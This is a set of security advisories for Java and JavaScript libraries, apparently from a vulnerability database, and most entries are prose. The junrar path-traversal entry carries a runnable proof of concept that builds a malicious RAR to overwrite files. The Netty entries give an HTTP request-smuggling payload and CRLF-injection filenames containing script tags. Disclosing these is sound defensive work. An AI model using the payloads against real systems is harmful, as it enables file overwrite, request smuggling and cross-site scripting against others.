An issue was discovered in the Bouncy Castle Crypto Package For Java before BC TLS Java 1.0.19 (ships with BC Java 1.78, BC Java (LTS) 2.73.6) and before BC FIPS TLS Java 1.0.19. When endpoint identification is enabled in the BCJSSE and an SSL socket is created without an explicit hostname (as happens with HttpsURLConnection), hostname verification could be performed against a DNS-resolved IP address in some situations, opening up a possibility of DNS poisoning.
### Summary A path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content into sibling directories when a crafted RAR archive is extracted. ### Example Given an extraction directory set to `/tmp/extract`, a crafted archive with an entry with the filename as `../extract_evil/file.txt` would be actually extracted to `/tmp/extract_evil/file.txt`. ### Details The `createDirectory()` and `createFile()` methods in`LocalFolderExtractor` validate extraction paths using a string prefix.
### Summary A backslash path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc). ### Details The `createFile()` method in [`LocalFolderExtractor.java`](https://github.com/junrar/junrar/blob/master/src/main/java/com/github/junrar/LocalFolderExtractor.java) validates extraction paths using `getCanonicalPath().startsWith()` to ensure files stay within the destination directory: ```java File f = new File(destination, name); String dirCanonPath = f.getCanonicalPath(); if (!dirCanonPath.startsWith(destination.getCanonicalPath())) { throw new IllegalStateException("Rar contains file with invalid path: '" + dirCanonPath + "'"); } ``` On Linux/Unix, backslashes are literal filename characters, not path separators. A RAR entry named `..\..\tmp\evil.txt` is treated by `getCanonicalPath()` as a single literal filename containing backslash characters — no `..` resolution occurs, and the `startsWith` check passes. However, `makeFile()` then splits the filename on backslashes and reconstructs the path using the platform's file separator: ```java final String[] dirs = name.split("\\\\"); // dirs = ["..", "..", "tmp", "evil.txt"] // ... path = path + File.separator + dirs[i]; // File.separator is "/" on Linux ``` This converts the literal backslashes into real directory traversal: `../../tmp/evil.txt`. The `extract()` method then opens a `FileOutputStream` on this path and writes the RAR entry's content to it, achieving arbitrary file write outside the extraction directory. On Windows this is not exploitable because backslashes are path separators, so `getCanonicalPath()` correctly resolves the `..` components and the `startsWith` check blocks the traversal. **Affected versions:** Tested on 7.5.7 (latest). Likely affects all versions that include the `makeFile()` backslash-splitting logic in `LocalFolderExtractor`. ### PoC (Files Below) **Prerequisites:** Linux/Unix system with Java 17+ and Maven installed. 1. Run `bash poc_setup.sh` which installs junrar 7.5.7 via Maven, creates a malicious RAR archive containing an entry with a backslash-traversal filename (`..\..\tmp\existing-file`), and creates `/tmp/existing-file` with the content "Existing File" to simulate a pre-existing file. 2. Run `mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q` 3. Observe the output shows `/tmp/existing-file` was overwritten from "Existing File" to "Overwritten", confirming the file outside the extraction directory was written with attacker-controlled content. The PoC uses `Junrar.extract()` — the standard public API for extracting RAR archives. ### Impact Any application that extracts user-supplied RAR archives using junrar on Linux/Unix is vulnerable to arbitrary file write/overwrite with attacker-controlled content. This can often lead to RCE. This affects all Linux/Unix deployments. Windows is not affected. ## POC Files **poc_setup.sh** ``` #!/bin/bash # Setup script for junrar backslash path traversal PoC # Vulnerability: CWE-22/CWE-29 - Backslash path traversal bypass in LocalFolderExtractor # Package: com.github.junrar:junrar 7.5.7 (Java) set -e # Use the directory where this script lives as the working directory SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" cd "$SCRIPT_DIR" echo "=== Setting up junrar backslash path traversal PoC ===" echo "Working directory: $SCRIPT_DIR" # Clean up artifacts from previous runs rm -f malicious.rar rm -rf target extraction-output # Verify Java and Maven are available java -version 2>&1 | head -1 || { echo "ERROR: Java not found"; exit 1; } mvn -version 2>&1 | head -1 || { echo "ERROR: Maven not found"; exit 1; } # Create Maven project cat > pom.xml << 'POMEOF' <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.test</groupId> <artifactId>junrar-poc</artifactId> <version>1.0</version> <packaging>jar</packaging> <properties> <maven.compiler.source>17</maven.compiler.source> <maven.compiler.target>17</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>com.github.junrar</groupId> <artifactId>junrar</artifactId> <version>7.5.7</version> </dependency> </dependencies> </project> POMEOF # Install dependencies echo "Installing junrar 7.5.7..." mvn dependency:resolve -q # Copy and compile PoC mkdir -p src/main/java/com/test cp poc.java src/main/java/com/test/BackslashTraversalPoC.java echo "Compiling PoC..." mvn compile -q # Verify junrar version echo "Installed: junrar 7.5.7" # Create the malicious RAR3 archive: # Entry 1: file with name "..\..\tmp\existing-file" containing "Overwritten" # # On Linux, createFile() validates the path using getCanonicalPath().startsWith(). # Since backslashes are literal characters on Linux, getCanonicalPath() does NOT # resolve the ".." components, so the check passes. makeFile() then splits on # backslashes and joins with File.separator (/), converting the literal backslashes # into real directory traversal: ../../tmp/existing-file python3 << 'PYEOF' import struct, zlib RAR3_MAGIC = b'Rar!\x1a\x07\x00' RAR_BLOCK_MAIN = 0x73 RAR_BLOCK_FILE = 0x74 RAR_BLOCK_ENDARC = 0x7b RAR_LONG_BLOCK = 0x8000 RAR_OS_UNIX = 3 RAR_M0 = 0x30 # Store (no compression) S_IFREG = 0o100000 def crc16(data): return zlib.crc32(data) & 0xFFFF def main_header(): # Standard RAR3 main archive header (non-encrypted) # After the 7-byte base block: HighPosAv (2 bytes) + PosAv (4 bytes) # junrar always reads exactly 6 bytes here (MainHeader.mainHeaderSize = 6) extra = struct.pack('<HI', 0, 0) # HighPosAv=0, PosAv=0 header_data = struct.pack('<BHH', RAR_BLOCK_MAIN, 0, 7 + len(extra)) + extra return struct.pack('<H', crc16(header_data)) + header_data def file_block(filename, file_data): fname = filename.encode('utf-8') data = file_data.encode('utf-8') mode = S_IFREG | 0o644 # UNP_VER=0: junrar's doUnpack() calls unstoreFile() when method==0x30, # then falls through to a switch on UNP_VER. Using 0 avoids matching any # decompression case (15/20/26/29/36), so only unstoreFile() runs. file_hdr = struct.pack('<LLBLLBBHL', len(data), len(data), RAR_OS_UNIX, zlib.crc32(data) & 0xFFFFFFFF, 0x5A210000, 0, RAR_M0, len(fname), mode) header_body = struct.pack('<BHH', RAR_BLOCK_FILE, RAR_LONG_BLOCK, 7 + len(file_hdr) + len(fname)) + file_hdr + fname return struct.pack('<H', crc16(header_body)) + header_body + data def endarc(): # junrar's EndArcHeader.isValid() requires flags=0x4000 and CRC=0x3DC4 header_data = struct.pack('<BHH', RAR_BLOCK_ENDARC, 0x4000, 7) crc = crc16(header_data) return struct.pack('<H', crc) + header_data archive = bytearray() archive += RAR3_MAGIC archive += main_header() # Backslash-separated path: on Linux, createFile() sees literal backslashes, # but makeFile() splits on them and joins with / archive += file_block('..\\..\\tmp\\existing-file', 'Overwritten\n') archive += endarc() with open('malicious.rar', 'wb') as f: f.write(archive) PYEOF echo "Created malicious.rar" # Create the target file so it can be validated before running the payload printf "Existing File\n" > /tmp/existing-file echo "" echo "=== Setup complete ===" echo "Validate: cat /tmp/existing-file (should show 'Existing File')" echo "Run PoC: mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q" ``` **poc.java** ``` package com.test; import com.github.junrar.Junrar; import java.io.File; import java.nio.file.Files; import java.nio.file.Path; /** * PoC: Backslash path traversal bypass in junrar 7.5.7 * * A RAR archive containing an entry with backslash-separated ".." components * bypasses the createFile() canonical path validation on Linux and writes * files outside the extraction directory via makeFile()'s path reconstruction. */ public class BackslashTraversalPoC { static final String TARGET = "/tmp/existing-file"; static final String ARCHIVE = "malicious.rar"; public static void main(String[] args) throws Exception { File archive = new File(ARCHIVE); if (!archive.exists()) { archive = new File(new File(System.getProperty("user.dir")).getParent(), ARCHIVE); } // Step 1: Verify the pre-existing file (created by poc_setup.sh) File target = new File(TARGET); if (!target.exists()) { System.out.println("ERROR: " + TARGET + " not found. Run poc_setup.sh first."); System.exit(1); } System.out.println("Before extraction:"); System.out.println(" " + TARGET + " => " + Files.readString(Path.of(TARGET)).trim()); System.out.println(); // Step 2: Extract the malicious archive Path extractDir = Files.createTempDirectory("junrar-poc-"); System.out.println("Extracting " + archive.getAbsolutePath() + " into " + extractDir + " ..."); try { Junrar.extract(archive, extractDir.toFile()); } catch (Exception e) { System.out.println("Extraction error (may be expected): " + e.getMessage()); } System.out.println(); // Step 3: Show the result System.out.println("After extraction:"); String content = Files.readString(Path.of(TARGET)).trim(); System.out.println(" " + TARGET + " => " + content); System.out.println(); if (content.equals("Overwritten")) { System.out.println("VULNERABLE: junrar 7.5.7 backslash traversal overwrote " + TARGET); } else { System.out.println("NOT VULNERABLE: file contents unchanged"); } } } ```
Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable.
ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core up to and including version 1.5.12 in Java applications allows attackers to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution. Malicious logback configuration files can allow the attacker to execute arbitrary code using the JaninoEventEvaluator extension. A successful attack requires the user to have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privilege.
### Impact **What kind of vulnerability is it?** It is a **Denial of Service (DoS)** vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from `Array.prototype` but has a very large `length` property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely. **Who is impacted?** Applications that use `serialize-javascript` to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to **Prototype Pollution** or handles untrusted data via **YAML Deserialization**, as these could be used to inject the malicious object. ### Patches **Has the problem been patched?** Yes, the issue has been patched by replacing `instanceof Array` checks with `Array.isArray()` and using `Object.keys()` for sparse array detection. **What versions should users upgrade to?** Users should upgrade to **`v7.0.5`** or later. ### Workarounds **Is there a way for users to fix or remediate the vulnerability without upgrading?** There is no direct code-level workaround within the library itself. However, users can mitigate the risk by: * Validating and sanitizing all input before passing it to the `serialize()` function. * Ensuring the environment is protected against Prototype Pollution. * Upgrading to **`v7.0.5`** as soon as possible. ### Acknowledgements Serialize JavaScript thanks **Tomer Aberbach** (@TomerAberbach) for discovering and privately disclosing this issue.
### Impact `.` and `#` are not word delimiters in the tokenizer, so a flat selector such as `.a.a.a...` reaches `splitWord()` as a single word token carrying n class or id indexes. Three passes scanned those index arrays linearly for every index, making the parse O(n^2) in the number of indexes rather than in input length: `uniqs()`, the `indices.forEach` loop, and the Sass-interpolation filter. Parsing a 400 KB flat selector took ~34 s on a modern laptop, fully occupying a single thread. A benign selector of identical byte size parses in tens of milliseconds, so the cost is driven by the index count, not the input size. The nesting depth of such a selector is 0, so the `maxNestingDepth` guard added in 7.1.3 offers no protection. Reachability is deployment dependent. Only consumers that parse untrusted, attacker-supplied selectors synchronously in a request path are exposed, for example CSS sanitizers, CSS-in-JS services and online playgrounds. Ordinary build-time use on trusted sources is not affected. ### Patches Fixed in 7.1.6. The three passes now use Set membership tests, making parsing linear in the number of indexes. There is no behaviour change: parsing is byte-identical on a differential corpus of 8413 selectors. ### Workarounds Cap the size of selectors accepted from untrusted sources before parsing.
An issue was discovered in Bouncy Castle Java TLS API and JSSE Provider before 1.78. Timing-based leakage may occur in RSA based handshakes because of exception processing.
### Impact When a request uses an HTTP proxy to reach an HTTPS origin, the client opens the tunnel with a plaintext CONNECT sent to the proxy before any TLS exists. On affected versions the origin's preemptive credentials were added to that CONNECT. A Basic realm sent `Authorization: Basic base64(user:pass)` to the proxy in the clear, and NTLM, SPNEGO or Kerberos realms sent their token. The proxy, and anyone who can read the client to proxy hop, saw credentials that were meant only for the origin. ### Affected versions * 3.x: up to and including 3.0.11 * 2.x: up to and including 2.16.0 ### Patches Fixed in 3.0.12 on the 3.x line and in 2.16.1 on the 2.x line. The origin Basic or Digest Authorization is no longer put on the CONNECT; it is added to the tunnelled request once the tunnel is up. The per-connection NTLM, Kerberos and SPNEGO token is likewise no longer attached on the tunnel path; it never reached the origin there in any case, and the challenge flow still negotiates it inside the tunnel. ### Workarounds Do not use preemptive origin authentication together with an HTTP proxy, or reach the origin without a CONNECT proxy. ### Details NettyRequestFactory added the origin Authorization to every request it built, including the CONNECT, and NettyRequestSender did the same for the per-connection NTLM or SPNEGO token in sendRequestWithNewChannel. Both now skip the CONNECT. Note that 3.0.12 is itself affected by a separate issue, GHSA-rqf5-2wxv-rjf4, where a Digest challenge the client cannot read downgrades to Basic and sends the password in cleartext. Upgrade to 3.0.13 to pick up both fixes.
Connect2id Nimbus JOSE + JWT 10.0.x before 10.0.2 and 9.37.x before 9.37.4 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson.
Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson.
# NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization | Field | Value | |-----------|-------| | Library | `io.netty:netty-codec-http` | | Component | `codec-http` — `HttpObjectDecoder` | | Severity | **HIGH** | | Affects | HEAD, commit `4f3533ae` confirmed | --- ## Summary `HttpObjectDecoder` strips a conflicting `Content-Length` header when a request carries both `Transfer-Encoding: chunked` and `Content-Length`, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving `Content-Length` intact in the forwarded `HttpMessage`. Any downstream proxy or handler that trusts `Content-Length` over `Transfer-Encoding` will disagree on message boundaries, enabling request smuggling. --- ## Root Cause ```java // HttpObjectDecoder.java:828-833 if (HttpUtil.isTransferEncodingChunked(message)) { this.chunked = true; if (!contentLengthFields.isEmpty() && message.protocolVersion() == HttpVersion.HTTP_1_1) { handleTransferEncodingChunkedWithContentLength(message); // strips CL — HTTP/1.1 only } return State.READ_CHUNK_SIZE; } // HttpObjectDecoder.java:870-873 protected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) { message.headers().remove(HttpHeaderNames.CONTENT_LENGTH); contentLength = Long.MIN_VALUE; } ``` The conflict-resolution path is gated on `message.protocolVersion() == HttpVersion.HTTP_1_1`. When the request declares `HTTP/1.0`, the condition is false, `handleTransferEncodingChunkedWithContentLength` is never called, and the `Content-Length` header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request. --- ## Proof of Concept ``` POST /api HTTP/1.0\r\n Host: internal.example.com\r\n Transfer-Encoding: chunked\r\n Content-Length: 0\r\n \r\n 5\r\n GPOST\r\n 0\r\n \r\n ``` Netty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads `Content-Length: 0`, considers the request complete at the blank line, and treats `5\r\nGPOST\r\n0\r\n\r\n` as the start of a second request. --- ## Conditions Required 1. Netty is deployed behind a reverse proxy or load balancer that is `Content-Length`-first (nginx, some HAProxy configs, AWS ALB in certain modes). 2. Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation). 3. No additional HTTP/1.0 stripping layer between attacker and Netty. --- ## Impact Request smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request. --- ## Confirmed PoC Test Verified against HEAD (`4f3533ae`) using `EmbeddedChannel`. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast. ```java package io.netty.handler.codec.http; import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.util.CharsetUtil; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.*; public class NettySmugglingSec001Test { // VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict @Test public void http10_contentLengthNotStripped() { EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder()); ch.writeInbound(Unpooled.copiedBuffer( "POST /api HTTP/1.0\r\n" + "Transfer-Encoding: chunked\r\n" + "Content-Length: 0\r\n" + "\r\n" + "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII)); HttpRequest req = ch.readInbound(); assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion()); // Content-Length: 0 survives — downstream CL-first proxy treats chunked body as new request assertNotNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "VULNERABLE: CL not stripped"); ch.finishAndReleaseAll(); } // SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict @Test public void http11_contentLengthStripped() { EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder()); ch.writeInbound(Unpooled.copiedBuffer( "POST /api HTTP/1.1\r\n" + "Transfer-Encoding: chunked\r\n" + "Content-Length: 0\r\n" + "\r\n" + "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII)); HttpRequest req = ch.readInbound(); assertNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "SAFE: CL correctly stripped"); ch.finishAndReleaseAll(); } } ``` --- ## Fix Guidance Remove the `message.protocolVersion() == HttpVersion.HTTP_1_1` guard in `HttpObjectDecoder`, applying `handleTransferEncodingChunkedWithContentLength` unconditionally whenever both `Transfer-Encoding: chunked` and `Content-Length` are present, regardless of protocol version.
Insertion of sensitive information in log file in Elasticsearch can lead to loss of confidentiality under specific preconditions when auditing requests to the reindex API https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-reindex
# Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions with codec-http multipart) | | **Component** | `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` | | **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting | | **Impact** | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition | | **CVSS 3.1 Score** | **8.1 (High)** | | **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` | | **Attack Vector** | Network | | **Attack Complexity** | Low | | **Privileges Required** | Low (attacker must be able to upload files with controlled filenames) | | **User Interaction** | None | | **Scope** | Unchanged | | **Confidentiality Impact** | High | | **Integrity Impact** | High | | **Availability Impact** | None | ## 2. Affected Components The following classes in the `codec-http` module are affected: - `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` — directly concatenates unvalidated filename/name into `Content-Disposition` MIME headers (lines 519, 633, 674, 682, 686-688) - `io.netty.handler.codec.http.multipart.DiskFileUpload` — `setFilename()` only checks null (line 78) - `io.netty.handler.codec.http.multipart.MemoryFileUpload` — `setFilename()` only checks null (line 60) - `io.netty.handler.codec.http.multipart.MixedFileUpload` — `setFilename()` delegates without validation (line 62) ## 3. Vulnerability Description Netty's `HttpPostRequestEncoder` constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into `Content-Disposition` MIME headers **without validating or sanitizing CRLF characters** (`\r\n`). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. ### Root Cause In `HttpPostRequestEncoder.java`, multiple code paths directly embed `fileUpload.getFilename()` into header strings: ```java // Line 674 (attachment mode): internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.ATTACHMENT + "; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION // Lines 686-688 (form-data mode): internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; " + HttpHeaderValues.NAME + "=\"" + fileUpload.getName() + "\"; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION // Line 519 (attribute name): internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; " + HttpHeaderValues.NAME + "=\"" + attribute.getName() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^ NO VALIDATION ``` The `setFilename()` method in all `FileUpload` implementations only checks for null: ```java // DiskFileUpload.java:77-79 public void setFilename(String filename) { this.filename = ObjectUtil.checkNotNull(filename, "filename"); // NO CRLF VALIDATION } ``` ### Comparison with Similar Fixed CVEs This vulnerability follows the same pattern as: | CVE | Component | Fix | |-----|-----------|-----| | **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder — SMTP command injection | Added CRLF validation in `SmtpUtils.validateSMTPParameters()` | | **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder — CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` | The multipart encoder has **no equivalent validation** for filenames or field names. ## 4. Exploitability Prerequisites This vulnerability is exploitable when: 1. The application uses Netty's `HttpPostRequestEncoder` to construct multipart HTTP requests 2. The filename of an uploaded file is derived from user-controlled input 3. The application does **not** perform its own CRLF sanitization on filenames **Common affected patterns**: - File upload proxies that forward user-supplied filenames - API gateways that construct multipart requests from incoming parameters - Microservice communication that passes filenames between services - Testing/automation frameworks that use Netty HTTP client with user-defined filenames ## 5. Attack Scenarios ### Scenario 1: Content-Type Override via Filename Injection An attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS: ```java String maliciousFilename = "photo.jpg\"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>\r\n--"; DiskFileUpload upload = new DiskFileUpload( "avatar", maliciousFilename, "image/jpeg", "binary", UTF_8, fileSize); ``` **Wire format:** ``` --boundary content-disposition: form-data; name="avatar"; filename="photo.jpg" Content-Type: text/html <-- INJECTED: overrides image/jpeg <script>alert(document.cookie)</script> <-- INJECTED: XSS payload --" content-type: image/jpeg <-- Original (now ignored by many parsers) ... ``` If the receiving server parses the **first** `Content-Type`, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back. ### Scenario 2: Arbitrary MIME Header Injection ```java String filename = "doc.pdf\"\r\nX-Custom-Auth: admin-token-12345\r\nX-Bypass-Check: true"; ``` Injects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic. ### Scenario 3: Multipart Boundary Confusion ```java String filename = "file.txt\"\r\n\r\nmalicious body content\r\n--boundary\r\nContent-Disposition: form-data; name=\"secret"; ``` By injecting a new boundary delimiter, the attacker can: - Terminate the current body part prematurely - Start a new body part with a different field name - Override form fields processed by the server ## 6. Proof of Concept ### Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.handler.codec.http.*; import io.netty.handler.codec.http.multipart.*; import java.io.File; import java.io.FileWriter; import java.nio.charset.StandardCharsets; /** * PoC: HTTP Multipart Content-Disposition Header Injection via Filename * * Demonstrates that HttpPostRequestEncoder does not validate filenames * for CRLF characters, allowing injection of arbitrary MIME headers * into multipart form data. */ public class MultipartFilenameInjectionPoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty Multipart Filename CRLF Injection PoC ===\n"); testFilenameInjection(); System.out.println("\n=== PoC Complete ==="); } static void testFilenameInjection() throws Exception { System.out.println("[TEST 1] Filename CRLF Injection in Content-Disposition"); System.out.println("-------------------------------------------------------"); // Create a temporary file for upload File tempFile = File.createTempFile("test", ".txt"); tempFile.deleteOnExit(); try (FileWriter fw = new FileWriter(tempFile)) { fw.write("test content"); } // Malicious filename with CRLF to inject Content-Type header String maliciousFilename = "innocent.txt\"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n" + "<script>alert(1)</script>\r\n--"; HttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.POST, "/upload"); HttpPostRequestEncoder encoder = new HttpPostRequestEncoder( new DefaultHttpDataFactory(false), request, true, StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986); DiskFileUpload fileUpload = new DiskFileUpload( "file", maliciousFilename, "application/octet-stream", "binary", StandardCharsets.UTF_8, tempFile.length()); fileUpload.setContent(tempFile); encoder.addBodyHttpData(fileUpload); encoder.finalizeRequest(); // Read the encoded multipart body StringBuilder body = new StringBuilder(); while (!encoder.isEndOfInput()) { HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc()); if (chunk != null) { body.append(chunk.content().toString(StandardCharsets.UTF_8)); chunk.release(); } } encoder.cleanFiles(); String encoded = body.toString(); System.out.println("Malicious filename: " + maliciousFilename.replace("\r", "\\r").replace("\n", "\\n")); System.out.println(); System.out.println("Encoded multipart body:"); System.out.println("---"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); } System.out.println("---"); boolean hasInjectedHeader = encoded.contains("X-Injected: true"); boolean hasInjectedScript = encoded.contains("<script>"); System.out.println(); System.out.println("Injected X-Injected header: " + hasInjectedHeader); System.out.println("Injected script tag: " + hasInjectedScript); System.out.println("VULNERABLE: " + ((hasInjectedHeader || hasInjectedScript) ? "YES - MIME header injection!" : "NO")); tempFile.delete(); } } ``` ### How to Compile and Run ```bash # Build Netty (skip tests) ./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \ -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \ -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \ -Dspotbugs.skip=true -q # Set classpath JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') # Compile and run javac -cp "$JARS" MultipartFilenameInjectionPoC.java java -cp "$JARS:." MultipartFilenameInjectionPoC ``` ### PoC Execution Output (Verified on Netty 4.2.12.Final) ``` === Netty Multipart Filename CRLF Injection PoC === [TEST 1] Filename CRLF Injection in Content-Disposition ------------------------------------------------------- Malicious filename: innocent.txt"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n<script>alert(1)</script>\r\n-- Encoded multipart body: --- --88aaade41dbb9f9f\r content-disposition: form-data; name="file"; filename="innocent.txt"\r Content-Type: text/html\r <-- INJECTED X-Injected: true\r <-- INJECTED \r <script>alert(1)</script>\r <-- INJECTED XSS --"\r content-length: 12\r content-type: application/octet-stream\r content-transfer-encoding: binary\r \r test content\r --88aaade41dbb9f9f--\r --- Injected X-Injected header: true Injected script tag: true VULNERABLE: YES - MIME header injection! === PoC Complete === ``` ## 7. Impact Analysis | Impact Category | Description | |----------------|-------------| | **Confidentiality** | HIGH — Injected headers may bypass access controls or leak tokens | | **Integrity** | HIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation | | **Content-Type Spoofing** | Override `application/octet-stream` to `text/html` to serve executable content | | **Stored XSS** | Inject `<script>` tags via Content-Type override when uploaded files are served back | | **Form Field Override** | Inject new multipart boundaries to create/override form fields | | **Downstream Injection** | Custom MIME headers may affect middleware, CDN, or storage layer behavior | ## 8. Remediation Recommendations ### Option 1: Validate in FileUpload.setFilename() (Recommended) ```java // DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java public void setFilename(String filename) { ObjectUtil.checkNotNull(filename, "filename"); for (int i = 0; i < filename.length(); i++) { char c = filename.charAt(i); if (c == '\r' || c == '\n') { throw new IllegalArgumentException( "filename contains prohibited CRLF character at index " + i); } } this.filename = filename; } ``` ### Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth) Escape or reject CRLF characters when building Content-Disposition headers: ```java // HttpPostRequestEncoder.java - add helper method private static String sanitizeHeaderParam(String value) { for (int i = 0; i < value.length(); i++) { char c = value.charAt(i); if (c == '\r' || c == '\n' || c == '"') { throw new ErrorDataEncoderException( "Multipart parameter contains prohibited character at index " + i); } } return value; } // Then use in Content-Disposition construction: internal.addValue(... + "=\"" + sanitizeHeaderParam(fileUpload.getFilename()) + "\"\r\n"); ``` ### Option 3: RFC 2231/5987 Encoding for Filenames Use proper RFC 2231 encoding for filenames with special characters: ```java // Encode filename per RFC 5987: // filename*=UTF-8''encoded%20filename String encodedFilename = "UTF-8''" + URLEncoder.encode(filename, "UTF-8"); internal.addValue(... + "filename*=" + encodedFilename + "\r\n"); ``` ## 9. References - [RFC 2183: Content-Disposition Header Field](https://tools.ietf.org/html/rfc2183) - [RFC 7578: Returning Values from Forms: multipart/form-data](https://tools.ietf.org/html/rfc7578) - [RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters](https://tools.ietf.org/html/rfc5987) - [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html) - [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html) - [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86) - [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)
This affects the package node-notifier before 9.0.0. It allows an attacker to run arbitrary commands on Linux machines due to the options params not being sanitised when being passed an array.
